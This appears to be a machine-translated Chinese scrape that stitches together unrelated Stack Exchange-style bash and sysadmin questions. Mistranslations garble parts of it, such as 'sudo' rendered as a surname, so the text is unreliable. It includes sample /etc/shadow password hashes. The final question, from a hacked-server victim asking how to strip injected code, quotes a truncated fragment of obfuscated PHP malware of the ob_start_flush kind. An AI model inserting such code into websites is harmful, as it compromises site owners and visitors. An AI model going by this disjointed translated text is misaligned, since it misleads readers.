我想写if如下语句:-
if [$x == "string"]
then
echo "ok"
fi
但出现以下错误
./bash_if.sh[6]: [0: not found.
我觉得问什么似乎是 Google 可用的问题有点傻,但我正在尝试编写一个重复的任务:(1)ssh 进入远程服务器(2)在我的主目录中运行 script.sh, (3) 复制/粘贴输出。
如果我能写一个脚本来为我完成这项工作,那就太好了。我已经编写了一些 bash 脚本来scp处理这些机器上的文件,但从来没有编写过在这些机器上运行脚本的脚本。
是否有可能在机器 1 上有一个脚本并通过机器n在机器 2 上登录并执行 script.sh ,将输出转储到机器 1 上?如果是这样,如何?
如何在 .bashrc 中为 Kate 编辑器创建别名,以便不写入kate file1 file2,而是k file1 file2打开这些文件。
使用 Bash 的红帽 Linux
须藤 -u bash
我想在执行此操作时调用 bash_profile。当我运行这个时,我收到以下错误
bash: /home/myuser/.bashrc: 权限被拒绝
Myuser:我登录时使用的用户名。
在 bash 中:
$ a=1
$ echo $a
1
$ echo "$a"
1
Run Code Online (Sandbox Code Playgroud)
但:
$ echo !
!
$ echo "!"
bash: !: event not found
Run Code Online (Sandbox Code Playgroud)
为什么在“echo !”中,bash 不展开。
当我打电话
cd /
grep -r "some_str" .
Run Code Online (Sandbox Code Playgroud)
然后我看到屏幕上打印了很多文件,在行尾我看到“:权限被拒绝”。我如何告诉 bash 只在我有权限的文件中搜索。这显然会比标准 grep 快。
这是/etc/shadow系统上存储的两个不同用户的输出:
usr1:$1$zgKwt6aQ$gXxsMLgcxa/u6rmq5QseP.:14307:0:99999:7:::
usr2:$6$9Bh5mQ5t$VY64eVcILqgXIC1EFPJ.f3tDVrsSf4y1Th6dleFN2FcuUJQUGevVXILySNfQlDNVWBQXCHaja1hyms.mVeDOY/:14839:0:99999:7:::
Run Code Online (Sandbox Code Playgroud)
问题是,为什么这些 passwd 哈希(都有效)具有不同的长度?
当我跑步时,'(sleep 1; echo flush_all; sleep 1; echo quit; ) | telnet localhost 11211'我得到
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
OK
Connection closed by foreign host.
Run Code Online (Sandbox Code Playgroud)
上面的命令做了我想要的,但那::1部分呢?
我有这个 bash 行,它为我提供了附加的 EC2 实例的 IP。
export LB_NAME='lb'
ec2-describe-instances `elb-describe-instance-health $LB_NAME --show-long | cut -d , -f 2` | grep 'INSTANCE' | cut -f 4
Run Code Online (Sandbox Code Playgroud)
这与以下内容相呼应:
ec2-50-11-53-xx.compute-1.amazonaws.com
ec2-50-76-13-xx.compute-1.amazonaws.com
Run Code Online (Sandbox Code Playgroud)
现在,由于当自动缩放器向负载均衡器添加更多框时,此列表会变长,因此我希望有一个 bash 循环来 ping 每个框,而不管有多少框。
非常感谢!
可能重复:
我的服务器被黑了 紧急情况
你好,
我迫切需要您的帮助,因为服务器已被黑客入侵,而且我没有时间学习如何从所有文件中删除黑客的代码。我附上了添加到所有文件的代码。这段代码中有很多特殊字符,而且相当大。它有时会两次添加到文件中。
我不知道 sed 能很好地解决这个问题。如何从所有文件中排除这段代码?使用 sed、diff/patch 或其他技术?
这是要删除的部分代码:
<?php global $ob_starting;
if(!$ob_starting) {
function ob_start_flush($s) {
$tc = array(0, 69, 83, 84, 82, 67, 7, 79, 9, 8, 23, 73, 12, 76, 68, 78, 63, 24, 14, 19, 3, 65, 27, 17, 85, 70, 80, 16, 29, 11, 89, 86, 2, 66, 77, 93, 91, 71, 18, 72, 20, 75, 87, 22, 74, 13, 59, 61, 52, 37, 28, 35, 15, 1, 21, 25, 34, 92, 36, …Run Code Online (Sandbox Code Playgroud)